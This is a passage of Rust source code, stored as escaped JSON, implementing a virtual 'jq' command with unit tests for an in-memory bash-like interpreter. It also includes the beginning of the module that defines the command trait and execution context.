--compact-output\", \"produce compact output\"),\n        (\"-S, --sort-keys\", \"sort keys of objects on output\"),\n        (\"-j, --join-output\", \"like -r but without trailing newline\"),\n        (\"-e, --exit-status\", \"set exit status based on output\"),\n        (\"-n, --null-input\", \"use null as the single input value\"),\n        (\"-R, --raw-input\", \"read each line as a string\"),\n        (\"-s, --slurp\", \"read entire input stream as a single array\"),\n        (\"--arg NAME VALUE\", \"set variable $NAME to VALUE\"),\n        (\"--argjson NAME JSON\", \"set variable $NAME to JSON value\"),\n    ],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl VirtualCommand for JqCommand {\n    fn name(&self) -> &str {\n        \"jq\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&JQ_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        match execute_jq(args, ctx) {\n            Ok(result) => result,\n            Err(result) => result,\n        }\n    }\n}\n\n#[derive(Default)]\nstruct JqOptions {\n    raw_output: bool,\n    compact_output: bool,\n    sort_keys: bool,\n    join_output: bool,\n    exit_status: bool,\n    null_input: bool,\n    raw_input: bool,\n    slurp: bool,\n    variables: Vec<(String, Val)>,\n}\n\nfn execute_jq(args: &[String], ctx: &CommandContext) -> Result<CommandResult, CommandResult> {\n    let (opts, filter_str, files) = parse_args(args)?;\n\n    // Compile the filter\n    let var_names: Vec<String> = opts\n        .variables\n        .iter()\n        .map(|(n, _)| format!(\"${n}\"))\n        .collect();\n    let filter = compile_filter(&filter_str, &var_names)?;\n\n    // Get input values\n    let inputs = get_inputs(&files, &opts, ctx)?;\n\n    // Run filter on each input\n    let mut outputs: Vec<Val> = Vec::new();\n    let mut stderr = String::new();\n    let mut had_error = false;\n\n    for input in inputs {\n        let var_vals: Vec<Val> = opts.variables.iter().map(|(_, v)| v.clone()).collect();\n        let vars = Vars::new(var_vals);\n        let run_ctx = Ctx::<data::JustLut<Val>>::new(&filter.lut, vars);\n        let results: Vec<_> = filter.id.run((run_ctx, input)).collect();\n        for result in results {\n            match unwrap_valr(result) {\n                Ok(val) => outputs.push(val),\n                Err(err) => {\n                    stderr.push_str(&format!(\"jq: error: {err}\\n\"));\n                    had_error = true;\n                }\n            }\n        }\n    }\n\n    // Format outputs\n    let stdout = format_outputs(&outputs, &opts);\n\n    // Determine exit code\n    let exit_code = if had_error {\n        5\n    } else if opts.exit_status {\n        match outputs.last() {\n            Some(Val::Bool(false)) | Some(Val::Null) => 1,\n            None => 4,\n            _ => 0,\n        }\n    } else {\n        0\n    };\n\n    Ok(CommandResult {\n        stdout,\n        stderr,\n        exit_code,\n        stdout_bytes: None,\n    })\n}\n\nfn parse_args(args: &[String]) -> Result<(JqOptions, String, Vec<String>), CommandResult> {\n    let mut opts = JqOptions::default();\n    let mut filter: Option<String> = None;\n    let mut files = Vec::new();\n    let mut i = 0;\n    let mut end_of_opts = false;\n\n    while i < args.len() {\n        let arg = &args[i];\n\n        if end_of_opts || !arg.starts_with('-') || arg == \"-\" {\n            if filter.is_none() {\n                filter = Some(arg.clone());\n            } else {\n                files.push(arg.clone());\n            }\n            i += 1;\n            continue;\n        }\n\n        if arg == \"--\" {\n            end_of_opts = true;\n            i += 1;\n            continue;\n        }\n\n        match arg.as_str() {\n            \"-r\" | \"--raw-output\" => opts.raw_output = true,\n            \"-c\" | \"--compact-output\" => opts.compact_output = true,\n            \"-S\" | \"--sort-keys\" => opts.sort_keys = true,\n            \"-j\" | \"--join-output\" => opts.join_output = true,\n            \"-e\" | \"--exit-status\" => opts.exit_status = true,\n            \"-n\" | \"--null-input\" => opts.null_input = true,\n            \"-R\" | \"--raw-input\" => opts.raw_input = true,\n            \"-s\" | \"--slurp\" => opts.slurp = true,\n            \"--arg\" => {\n                if i + 2 >= args.len() {\n                    return Err(CommandResult {\n                        stderr: \"jq: --arg requires NAME VALUE\\n\".to_string(),\n                        exit_code: 2,\n                        ..Default::default()\n                    });\n                }\n                let name = args[i + 1].clone();\n                let value = Val::from(args[i + 2].clone());\n                opts.variables.push((name, value));\n                i += 2;\n            }\n            \"--argjson\" => {\n                if i + 2 >= args.len() {\n                    return Err(CommandResult {\n                        stderr: \"jq: --argjson requires NAME VALUE\\n\".to_string(),\n                        exit_code: 2,\n                        ..Default::default()\n                    });\n                }\n                let name = args[i + 1].clone();\n                let json_str = &args[i + 2];\n                match jaq_json::read::parse_single(json_str.as_bytes()) {\n                    Ok(val) => opts.variables.push((name, val)),\n                    Err(e) => {\n                        return Err(CommandResult {\n                            stderr: format!(\"jq: invalid JSON for --argjson {name}: {e}\\n\"),\n                            exit_code: 2,\n                            ..Default::default()\n                        });\n                    }\n                }\n                i += 2;\n            }\n            _ => {\n                // Try parsing combined short flags (e.g. -rc, -Scr)\n                if arg.starts_with('-') && !arg.starts_with(\"--\") && arg.len() > 1 {\n                    let mut valid = true;\n                    for ch in arg[1..].chars() {\n                        match ch {\n                            'r' | 'c' | 'S' | 'j' | 'e' | 'n' | 'R' | 's' => {}\n                            _ => {\n                                valid = false;\n                                break;\n                            }\n                        }\n                    }\n                    if valid {\n                        for ch in arg[1..].chars() {\n                            match ch {\n                                'r' => opts.raw_output = true,\n                                'c' => opts.compact_output = true,\n                                'S' => opts.sort_keys = true,\n                                'j' => opts.join_output = true,\n                                'e' => opts.exit_status = true,\n                                'n' => opts.null_input = true,\n                                'R' => opts.raw_input = true,\n                                's' => opts.slurp = true,\n                                _ => unreachable!(),\n                            }\n                        }\n                    } else {\n                        return Err(CommandResult {\n                            stderr: format!(\"jq: Unknown option: {arg}\\n\"),\n                            exit_code: 2,\n                            ..Default::default()\n                        });\n                    }\n                } else {\n                    return Err(CommandResult {\n                        stderr: format!(\"jq: Unknown option: {arg}\\n\"),\n                        exit_code: 2,\n                        ..Default::default()\n                    });\n                }\n            }\n        }\n        i += 1;\n    }\n\n    let filter = filter.ok_or_else(|| CommandResult {\n        stderr: \"jq: no filter provided\\n\".to_string(),\n        exit_code: 2,\n        ..Default::default()\n    })?;\n\n    Ok((opts, filter, files))\n}\n\nfn compile_filter(\n    filter_str: &str,\n    var_names: &[String],\n) -> Result<jaq_core::compile::Filter<jaq_core::Native<data::JustLut<Val>>>, CommandResult> {\n    let defs = jaq_core::defs()\n        .chain(jaq_std::defs())\n        .chain(jaq_json::defs());\n    let funs = jaq_core::funs()\n        .chain(jaq_std::funs())\n        .chain(jaq_json::funs());\n\n    let loader = Loader::new(defs);\n    let arena = Arena::default();\n    let program = File {\n        code: filter_str,\n        path: (),\n    };\n\n    let modules = loader.load(&arena, program).map_err(|errs| {\n        let msg = format_load_errors(&errs);\n        CommandResult {\n            stderr: format!(\"jq: compile error: {msg}\\n\"),\n            exit_code: 3,\n            ..Default::default()\n        }\n    })?;\n\n    let mut compiler = jaq_core::Compiler::default().with_funs(funs);\n    if !var_names.is_empty() {\n        compiler = compiler.with_global_vars(var_names.iter().map(|v| v.as_str()));\n    }\n\n    compiler.compile(modules).map_err(|errs| {\n        let msg = errs\n            .into_iter()\n            .map(|(file, undefs)| {\n                let details: Vec<String> = undefs\n                    .into_iter()\n                    .map(|(name, kind)| format!(\"undefined {kind:?} '{name}'\"))\n                    .collect();\n                format!(\"{}: {}\", file.code, details.join(\", \"))\n            })\n            .collect::<Vec<_>>()\n            .join(\"\\n\");\n        CommandResult {\n            stderr: format!(\"jq: compile error: {msg}\\n\"),\n            exit_code: 3,\n            ..Default::default()\n        }\n    })\n}\n\nfn format_load_errors(errs: &[(File<&str, ()>, jaq_core::load::Error<&str>)]) -> String {\n    use jaq_core::load::Error;\n    errs.iter()\n        .map(|(file, err)| {\n            let detail = match err {\n                Error::Io(ios) => ios\n                    .iter()\n                    .map(|(path, msg)| format!(\"{path}: {msg}\"))\n                    .collect::<Vec<_>>()\n                    .join(\"; \"),\n                Error::Lex(lex_errs) => format!(\"{} lex error(s)\", lex_errs.len()),\n                Error::Parse(parse_errs) => format!(\"{} parse error(s)\", parse_errs.len()),\n            };\n            format!(\"{}: {detail}\", file.code)\n        })\n        .collect::<Vec<_>>()\n        .join(\"\\n\")\n}\n\nfn get_inputs(\n    files: &[String],\n    opts: &JqOptions,\n    ctx: &CommandContext,\n) -> Result<Vec<Val>, CommandResult> {\n    if opts.null_input {\n        return Ok(vec![Val::Null]);\n    }\n\n    // Collect raw text sources (process files independently for correct semantics)\n    let mut raw_texts: Vec<String> = Vec::new();\n\n    if files.is_empty() {\n        raw_texts.push(ctx.stdin.to_string());\n    } else {\n        for file in files {\n            if file == \"-\" {\n                raw_texts.push(ctx.stdin.to_string());\n            } else {\n                let path = resolve_path(file, ctx.cwd);\n                match ctx.fs.read_file(&path) {\n                    Ok(bytes) => {\n                        raw_texts.push(String::from_utf8_lossy(&bytes).to_string());\n                    }\n                    Err(e) => {\n                        return Err(CommandResult {\n                            stderr: format!(\"jq: {file}: {e}\\n\"),\n                            exit_code: 2,\n                            ..Default::default()\n                        });\n                    }\n                }\n            }\n        }\n    }\n\n    let mut all_vals: Vec<Val> = Vec::new();\n\n    for raw_text in &raw_texts {\n        if opts.raw_input {\n            for line in raw_text.lines() {\n                all_vals.push(Val::from(line.to_string()));\n            }\n        } else {\n            let vals: Vec<Val> = jaq_json::read::parse_many(raw_text.as_bytes())\n                .collect::<Result<Vec<_>, _>>()\n                .map_err(|e| CommandResult {\n                    stderr: format!(\"jq: parse error (Invalid JSON): {e}\\n\"),\n                    exit_code: 2,\n                    ..Default::default()\n                })?;\n\n            if vals.is_empty() && !raw_text.trim().is_empty() {\n                return Err(CommandResult {\n                    stderr: \"jq: parse error (Invalid JSON)\\n\".to_string(),\n                    exit_code: 2,\n                    ..Default::default()\n                });\n            }\n\n            all_vals.extend(vals);\n        }\n    }\n\n    if opts.slurp {\n        Ok(vec![all_vals.into_iter().collect::<Val>()])\n    } else {\n        Ok(all_vals)\n    }\n}\n\nfn format_outputs(outputs: &[Val], opts: &JqOptions) -> String {\n    let mut result = String::new();\n    for val in outputs {\n        let formatted = format_single_val(val, opts);\n        result.push_str(&formatted);\n        if !opts.join_output {\n            result.push('\\n');\n        }\n    }\n    result\n}\n\nfn format_single_val(val: &Val, opts: &JqOptions) -> String {\n    if (opts.raw_output || opts.join_output)\n        && let Some(bytes) = val_string_bytes(val)\n    {\n        return String::from_utf8_lossy(bytes).to_string();\n    }\n\n    let json = val_to_serde(val, opts.sort_keys);\n    if opts.compact_output {\n        serde_json::to_string(&json).unwrap_or_else(|_| format!(\"{val}\"))\n    } else {\n        serde_json::to_string_pretty(&json).unwrap_or_else(|_| format!(\"{val}\"))\n    }\n}\n\nfn val_to_serde(val: &Val, sort_keys: bool) -> serde_json::Value {\n    match val {\n        Val::Null => serde_json::Value::Null,\n        Val::Bool(b) => serde_json::Value::Bool(*b),\n        Val::Num(n) => {\n            let s = format!(\"{n}\");\n            if let Ok(i) = s.parse::<i64>() {\n                serde_json::Value::Number(i.into())\n            } else if let Ok(f) = s.parse::<f64>() {\n                serde_json::Number::from_f64(f)\n                    .map(serde_json::Value::Number)\n                    .unwrap_or_else(|| {\n                        // NaN/Infinity: fall back to serde_json parser or null\n                        serde_json::from_str(&s).unwrap_or(serde_json::Value::Null)\n                    })\n            } else {\n                // BigInt/Dec: try serde_json's own parser to preserve precision\n                serde_json::from_str(&s).unwrap_or(serde_json::Value::Null)\n            }\n        }\n        Val::TStr(s) | Val::BStr(s) => {\n            serde_json::Value::String(String::from_utf8_lossy(s).to_string())\n        }\n        Val::Arr(arr) => {\n            serde_json::Value::Array(arr.iter().map(|v| val_to_serde(v, sort_keys)).collect())\n        }\n        Val::Obj(map) => {\n            let entries: Vec<(String, serde_json::Value)> = map\n                .iter()\n                .map(|(k, v)| {\n                    let key = key_to_string(k);\n                    (key, val_to_serde(v, sort_keys))\n                })\n                .collect();\n            if sort_keys {\n                let mut sorted = entries;\n                sorted.sort_by(|a, b| a.0.cmp(&b.0));\n                serde_json::Value::Object(sorted.into_iter().collect())\n            } else {\n                serde_json::Value::Object(entries.into_iter().collect())\n            }\n        }\n    }\n}\n\nfn key_to_string(val: &Val) -> String {\n    match val {\n        Val::TStr(s) | Val::BStr(s) => String::from_utf8_lossy(s).to_string(),\n        other => format!(\"{other}\"),\n    }\n}\n\nfn val_string_bytes(val: &Val) -> Option<&[u8]> {\n    match val {\n        Val::TStr(s) | Val::BStr(s) => Some(s),\n        _ => None,\n    }\n}\n\nfn resolve_path(path_str: &str, cwd: &str) -> PathBuf {\n    if path_str.starts_with('/') {\n        PathBuf::from(path_str)\n    } else {\n        PathBuf::from(cwd).join(path_str)\n    }\n}\n\n#[cfg(test)]\nmod tests {\n    use super::*;\n    use crate::commands::CommandContext;\n    use crate::interpreter::ExecutionLimits;\n    use crate::network::NetworkPolicy;\n    use crate::vfs::{InMemoryFs, VirtualFs};\n    use std::collections::HashMap;\n\n    fn run_jq(args: &[&str], stdin: &str) -> CommandResult {\n        let fs = InMemoryFs::new();\n        run_jq_with_fs(args, stdin, &fs)\n    }\n\n    fn run_jq_with_fs(args: &[&str], stdin: &str, fs: &InMemoryFs) -> CommandResult {\n        let args: Vec<String> = args.iter().map(|s| s.to_string()).collect();\n        let env = HashMap::new();\n        let limits = ExecutionLimits::default();\n        let ctx = CommandContext {\n            fs,\n            cwd: \"/\",\n            env: &env,\n            variables: None,\n            stdin,\n            stdin_bytes: None,\n            limits: &limits,\n            network_policy: &NetworkPolicy::default(),\n            exec: None,\n            shell_opts: None,\n        };\n        JqCommand.execute(&args, &ctx)\n    }\n\n    #[test]\n    fn field_access() {\n        let result = run_jq(&[\".name\"], r#\"{\"name\": \"alice\"}\"#);\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout.trim(), r#\"\"alice\"\"#);\n    }\n\n    #[test]\n    fn nested_field_access() {\n        let result = run_jq(&[\".a.b\"], r#\"{\"a\": {\"b\": 42}}\"#);\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout.trim(), \"42\");\n    }\n\n    #[test]\n    fn array_iterate_with_field() {\n        let input = r#\"[{\"id\": 1}, {\"id\": 2}, {\"id\": 3}]\"#;\n        let result = run_jq(&[\".[] | .id\"], input);\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout, \"1\\n2\\n3\\n\");\n    }\n\n    #[test]\n    fn select_filter() {\n        let input = r#\"[{\"age\": 25}, {\"age\": 35}, {\"age\": 40}]\"#;\n        let result = run_jq(&[\"-c\", \".[] | select(.age > 30)\"], input);\n        assert_eq!(result.exit_code, 0);\n        let lines: Vec<&str> = result.stdout.trim().split('\\n').collect();\n        assert_eq!(lines.len(), 2);\n    }\n\n    #[test]\n    fn map_transform() {\n        let input = r#\"[{\"name\": \"alice\"}, {\"name\": \"bob\"}]\"#;\n        let result = run_jq(&[\"map(.name)\"], input);\n        assert_eq!(result.exit_code, 0);\n        let parsed: serde_json::Value = serde_json::from_str(result.stdout.trim()).unwrap();\n        assert_eq!(parsed, serde_json::json!([\"alice\", \"bob\"]));\n    }\n\n    #[test]\n    fn raw_output() {\n        let result = run_jq(&[\"-r\", \".x\"], r#\"{\"x\": \"hello\"}\"#);\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout.trim(), \"hello\");\n    }\n\n    #[test]\n    fn compact_output() {\n        let input = r#\"{\"a\": 1, \"b\": 2}\"#;\n        let result = run_jq(&[\"-c\", \".\"], input);\n        assert_eq!(result.exit_code, 0);\n        let line = result.stdout.trim();\n        assert!(!line.contains('\\n'));\n        assert!(line.contains(\"\\\"a\\\":1\") || line.contains(\"\\\"a\\\": 1\"));\n    }\n\n    #[test]\n    fn slurp_mode() {\n        let input = \"1\\n2\\n3\";\n        let result = run_jq(&[\"-s\", \".\"], input);\n        assert_eq!(result.exit_code, 0);\n        let parsed: serde_json::Value = serde_json::from_str(result.stdout.trim()).unwrap();\n        assert_eq!(parsed, serde_json::json!([1, 2, 3]));\n    }\n\n    #[test]\n    fn arg_variable_injection() {\n        let result = run_jq(&[\"--arg\", \"name\", \"alice\", \"$name\"], \"null\");\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout.trim(), r#\"\"alice\"\"#);\n    }\n\n    #[test]\n    fn argjson_variable_injection() {\n        let result = run_jq(&[\"--argjson\", \"val\", \"42\", \"$val\"], \"null\");\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout.trim(), \"42\");\n    }\n\n    #[test]\n    fn null_input() {\n        let result = run_jq(&[\"-n\", \"null\"], \"\");\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout.trim(), \"null\");\n    }\n\n    #[test]\n    fn pipe_chain() {\n        let input = r#\"{\"users\": [{\"name\": \"a\", \"active\": true}, {\"name\": \"b\", \"active\": false}, {\"name\": \"c\", \"active\": true}]}\"#;\n        let result = run_jq(&[\".users | map(select(.active)) | length\"], input);\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout.trim(), \"2\");\n    }\n\n    #[test]\n    fn invalid_json_input() {\n        let result = run_jq(&[\".\"], \"not json at all\");\n        assert_eq!(result.exit_code, 2);\n        assert!(!result.stderr.is_empty());\n    }\n\n    #[test]\n    fn invalid_filter() {\n        let result = run_jq(&[\".[invalid filter!!!\"], r#\"{\"a\":1}\"#);\n        assert_eq!(result.exit_code, 3);\n        assert!(!result.stderr.is_empty());\n    }\n\n    #[test]\n    fn keys_filter() {\n        let input = r#\"{\"b\": 2, \"a\": 1}\"#;\n        let result = run_jq(&[\"keys\"], input);\n        assert_eq!(result.exit_code, 0);\n        let parsed: serde_json::Value = serde_json::from_str(result.stdout.trim()).unwrap();\n        let arr = parsed.as_array().unwrap();\n        assert!(arr.contains(&serde_json::json!(\"a\")));\n        assert!(arr.contains(&serde_json::json!(\"b\")));\n    }\n\n    #[test]\n    fn length_filter() {\n        let result = run_jq(&[\"length\"], r#\"[1, 2, 3]\"#);\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout.trim(), \"3\");\n    }\n\n    #[test]\n    fn type_filter() {\n        let result = run_jq(&[\"type\"], r#\"\"hello\"\"#);\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout.trim(), r#\"\"string\"\"#);\n    }\n\n    #[test]\n    fn sort_keys_output() {\n        let input = r#\"{\"c\": 3, \"a\": 1, \"b\": 2}\"#;\n        let result = run_jq(&[\"-S\", \".\"], input);\n        assert_eq!(result.exit_code, 0);\n        let output = result.stdout.trim();\n        let a_pos = output.find(\"\\\"a\\\"\").unwrap();\n        let b_pos = output.find(\"\\\"b\\\"\").unwrap();\n        let c_pos = output.find(\"\\\"c\\\"\").unwrap();\n        assert!(a_pos < b_pos);\n        assert!(b_pos < c_pos);\n    }\n\n    #[test]\n    fn exit_status_false() {\n        let result = run_jq(&[\"-e\", \".x\"], r#\"{\"x\": false}\"#);\n        assert_eq!(result.exit_code, 1);\n    }\n\n    #[test]\n    fn exit_status_null() {\n        let result = run_jq(&[\"-e\", \".x\"], r#\"{\"x\": null}\"#);\n        assert_eq!(result.exit_code, 1);\n    }\n\n    #[test]\n    fn exit_status_truthy() {\n        let result = run_jq(&[\"-e\", \".x\"], r#\"{\"x\": 42}\"#);\n        assert_eq!(result.exit_code, 0);\n    }\n\n    #[test]\n    fn join_output() {\n        let input = r#\"[\"a\", \"b\", \"c\"]\"#;\n        let result = run_jq(&[\"-j\", \".[]\"], input);\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout, \"abc\");\n    }\n\n    #[test]\n    fn raw_input_mode() {\n        let result = run_jq(&[\"-R\", \".\"], \"line1\\nline2\");\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout, \"\\\"line1\\\"\\n\\\"line2\\\"\\n\");\n    }\n\n    #[test]\n    fn multiple_inputs() {\n        let input = \"{\\\"a\\\":1}\\n{\\\"b\\\":2}\";\n        let result = run_jq(&[\".\"], input);\n        assert_eq!(result.exit_code, 0);\n        let lines: Vec<&str> = result.stdout.trim().split('\\n').collect();\n        assert!(lines.len() >= 2);\n    }\n\n    #[test]\n    fn read_from_vfs_file() {\n        let fs = InMemoryFs::new();\n        fs.write_file(&PathBuf::from(\"/data.json\"), br#\"{\"key\": \"value\"}\"#)\n            .unwrap();\n        let result = run_jq_with_fs(&[\".key\", \"/data.json\"], \"\", &fs);\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout.trim(), r#\"\"value\"\"#);\n    }\n\n    #[test]\n    fn combined_short_flags() {\n        let result = run_jq(&[\"-rc\", \".x\"], r#\"{\"x\": \"hello\"}\"#);\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout.trim(), \"hello\");\n    }\n\n    #[test]\n    fn identity_filter() {\n        let input = r#\"{\"a\": 1}\"#;\n        let result = run_jq(&[\"-c\", \".\"], input);\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout.trim(), r#\"{\"a\":1}\"#);\n    }\n\n    #[test]\n    fn array_index() {\n        let result = run_jq(&[\".[1]\"], r#\"[10, 20, 30]\"#);\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout.trim(), \"20\");\n    }\n\n    #[test]\n    fn if_then_else() {\n        let result = run_jq(&[\"if . > 5 then \\\"big\\\" else \\\"small\\\" end\"], \"10\");\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout.trim(), r#\"\"big\"\"#);\n    }\n\n    #[test]\n    fn values_filter() {\n        let input = r#\"{\"a\": 1, \"b\": 2}\"#;\n        let result = run_jq(&[\"[.[] ] | sort\"], input);\n        assert_eq!(result.exit_code, 0);\n        let parsed: serde_json::Value = serde_json::from_str(result.stdout.trim()).unwrap();\n        assert_eq!(parsed, serde_json::json!([1, 2]));\n    }\n\n    #[test]\n    fn no_filter_provided() {\n        let result = run_jq(&[], \"{}\");\n        assert_eq!(result.exit_code, 2);\n        assert!(result.stderr.contains(\"no filter\"));\n    }\n\n    #[test]\n    fn split_and_join() {\n        let result = run_jq(&[\"-r\", r#\"\"a,b,c\" | split(\",\") | join(\"-\")\"#], \"null\");\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout.trim(), \"a-b-c\");\n    }\n\n    #[test]\n    fn reduce_filter() {\n        let result = run_jq(&[\"reduce .[] as $x (0; . + $x)\"], \"[1, 2, 3, 4]\");\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout.trim(), \"10\");\n    }\n\n    #[test]\n    fn runtime_error_exit_code_5() {\n        let result = run_jq(&[\".foo\"], r#\"\"not an object\"\"#);\n        assert_eq!(result.exit_code, 5);\n        assert!(!result.stderr.is_empty());\n    }\n\n    #[test]\n    fn exit_status_no_output() {\n        let result = run_jq(&[\"-e\", \"select(false)\"], \"1\");\n        assert_eq!(result.exit_code, 4);\n    }\n\n    #[test]\n    fn double_dash_end_of_opts() {\n        let result = run_jq(&[\"-r\", \"--\", \".x\"], r#\"{\"x\": \"hello\"}\"#);\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout.trim(), \"hello\");\n    }\n\n    #[test]\n    fn stdin_dash_as_file() {\n        let fs = InMemoryFs::new();\n        let result = run_jq_with_fs(&[\".x\", \"-\"], r#\"{\"x\": 42}\"#, &fs);\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout.trim(), \"42\");\n    }\n\n    #[test]\n    fn slurp_raw_input() {\n        let result = run_jq(&[\"-Rs\", \".\"], \"line1\\nline2\\nline3\");\n        assert_eq!(result.exit_code, 0);\n        // All lines become one array of strings, then slurped\n        let parsed: serde_json::Value = serde_json::from_str(result.stdout.trim()).unwrap();\n        let arr = parsed.as_array().unwrap();\n        assert_eq!(arr.len(), 3);\n    }\n\n    #[test]\n    fn argjson_invalid_json_error() {\n        let result = run_jq(&[\"--argjson\", \"val\", \"not-json\", \".\"], \"null\");\n        assert_eq!(result.exit_code, 2);\n        assert!(result.stderr.contains(\"--argjson\"));\n    }\n\n    #[test]\n    fn multiple_vfs_files() {\n        let fs = InMemoryFs::new();\n        fs.write_file(&PathBuf::from(\"/a.json\"), br#\"{\"v\": 1}\"#)\n            .unwrap();\n        fs.write_file(&PathBuf::from(\"/b.json\"), br#\"{\"v\": 2}\"#)\n            .unwrap();\n        let result = run_jq_with_fs(&[\".v\", \"/a.json\", \"/b.json\"], \"\", &fs);\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout, \"1\\n2\\n\");\n    }\n\n    #[test]\n    fn has_key_filter() {\n        let result = run_jq(&[r#\"has(\"a\")\"#], r#\"{\"a\": 1, \"b\": 2}\"#);\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout.trim(), \"true\");\n    }\n\n    #[test]\n    fn to_entries_filter() {\n        let result = run_jq(&[\"-c\", \"to_entries\"], r#\"{\"a\": 1}\"#);\n        assert_eq!(result.exit_code, 0);\n        let parsed: serde_json::Value = serde_json::from_str(result.stdout.trim()).unwrap();\n        assert_eq!(parsed, serde_json::json!([{\"key\": \"a\", \"value\": 1}]));\n    }\n\n    #[test]\n    fn alternative_operator() {\n        let result = run_jq(&[r#\".missing // \"default\"\"#], r#\"{\"a\": 1}\"#);\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout.trim(), r#\"\"default\"\"#);\n    }\n\n    #[test]\n    fn test_regex() {\n        let result = run_jq(&[r#\"test(\"^foo\")\"#], r#\"\"foobar\"\"#);\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout.trim(), \"true\");\n    }\n}\n","/home/user/src/commands/mod.rs":"//! Command trait and built-in command implementations.\n\npub(crate) mod awk;\npub(crate) mod compression;\npub(crate) mod diff_cmd;\npub(crate) mod exec_cmds;\npub(crate) mod file_ops;\npub(crate) mod jq_cmd;\npub(crate) mod navigation;\n#[cfg(feature = \"network\")]\npub(crate) mod net;\npub(crate) mod regex_util;\npub(crate) mod sed;\npub(crate) mod test_cmd;\npub(crate) mod text;\npub(crate) mod utils;\n\nuse crate::error::RustBashError;\nuse crate::interpreter::ExecutionLimits;\nuse crate::network::NetworkPolicy;\nuse crate::vfs::VirtualFs;\nuse std::collections::HashMap;\nuse std::sync::Arc;\n\n/// Result of executing a command.\n#[derive(Debug, Clone, Default, PartialEq, Eq)]\npub struct CommandResult {\n    pub stdout: String,\n    pub stderr: String,\n    pub exit_code: i32,\n    /// Binary output for commands that produce non-text data (e.g. gzip).\n    /// When set, pipeline propagation uses this instead of `stdout`.\n    pub stdout_bytes: Option<Vec<u8>>,\n}\n\n/// Callback type for sub-command execution (e.g. `xargs`, `find -exec`).\npub type ExecCallback<'a> =\n    &'a dyn Fn(&str, Option<&HashMap<String, String>>) -> Result<CommandResult, RustBashError>;\n\n/// Context passed to command execution.\npub struct CommandContext<'a> {\n    pub fs: &'a dyn VirtualFs,\n    pub cwd: &'a str,\n    pub env: &'a HashMap<String, String>,\n    /// Full variable map with types — used for `test -v` array element checks.\n    pub variables: Option<&'a HashMap<String, crate::interpreter::Variable>>,\n    pub stdin: &'a str,\n    /// Binary input from a previous pipeline stage (e.g. gzip output).\n    /// Commands that handle binary input check this first, falling back to `stdin`.\n    pub stdin_bytes: Option<&'a [u8]>,\n    pub limits: &'a ExecutionLimits,\n    pub network_policy: &'a NetworkPolicy,\n    pub exec: Option<ExecCallback<'a>>,\n    /// Shell options (`set -o`), used by `test -o optname`.\n    pub shell_opts: Option<&'a crate::interpreter::ShellOpts>,\n}\n\n/// Support status of a command flag.\n#[derive(Debug, Clone, Copy, PartialEq, Eq)]\npub enum FlagStatus {\n    /// Fully implemented with correct behavior.\n    Supported,\n    /// Accepted but behavior is stubbed/incomplete.\n    Stubbed,\n    /// Recognized but silently ignored.\n    Ignored,\n}\n\n/// Metadata about a single command flag.\n#[derive(Debug, Clone)]\npub struct FlagInfo {\n    pub flag: &'static str,\n    pub description: &'static str,\n    pub status: FlagStatus,\n}\n\n/// Declarative metadata for a command, used by --help and the help builtin.\npub struct CommandMeta {\n    pub name: &'static str,\n    pub synopsis: &'static str,\n    pub description: &'static str,\n    pub options: &'static [(&'static str, &'static str)],\n    pub supports_help_flag: bool,\n    pub flags: &'static [FlagInfo],\n}\n\n/// Format help text from `CommandMeta` for display via `--help`.\npub fn format_help(meta: &CommandMeta) -> String {\n    let mut out = format!(\"Usage: {}\\n\\n{}\\n\", meta.synopsis, meta.description);\n    if !meta.options.is_empty() {\n        out.push_str(\"\\nOptions:\\n\");\n        for (flag, desc) in meta.options {\n            out.push_str(&format!(\"  {:<20} {}\\n\", flag, desc));\n        }\n    }\n    if !meta.flags.is_empty() {\n        out.push_str(\"\\nFlag support:\\n\");\n        for fi in meta.flags {\n            let status_label = match fi.status {\n                FlagStatus::Supported => \"supported\",\n                FlagStatus::Stubbed => \"stubbed\",\n                FlagStatus::Ignored => \"ignored\",\n            };\n            out.push_str(&format!(\n                \"  {:<20} {} [{}]\\n\",\n                fi.flag, fi.description, status_label\n            ));\n        }\n    }\n    out\n}\n\n/// Standard error for unrecognized options, matching bash/GNU conventions.\npub fn unknown_option(cmd: &str, option: &str) -> CommandResult {\n    let msg = if option.starts_with(\"--\") {\n        format!(\"{}: unrecognized option '{}'\\n\", cmd, option)\n    } else {\n        format!(\n            \"{}: invalid option -- '{}'\\n\",\n            cmd,\n            option.trim_start_matches('-')\n        )\n    };\n    CommandResult {\n        stderr: msg,\n        exit_code: 2,\n        ..Default::default()\n    }\n}\n\n/// Trait for commands that can be registered and executed.\npub trait VirtualCommand: Send + Sync {\n    fn name(&self) -> &str;\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult;\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        None\n    }\n}\n\n// ── Built-in command implementations ─────────────────────────────────\n\n/// The `echo` command: prints arguments to stdout.\npub struct 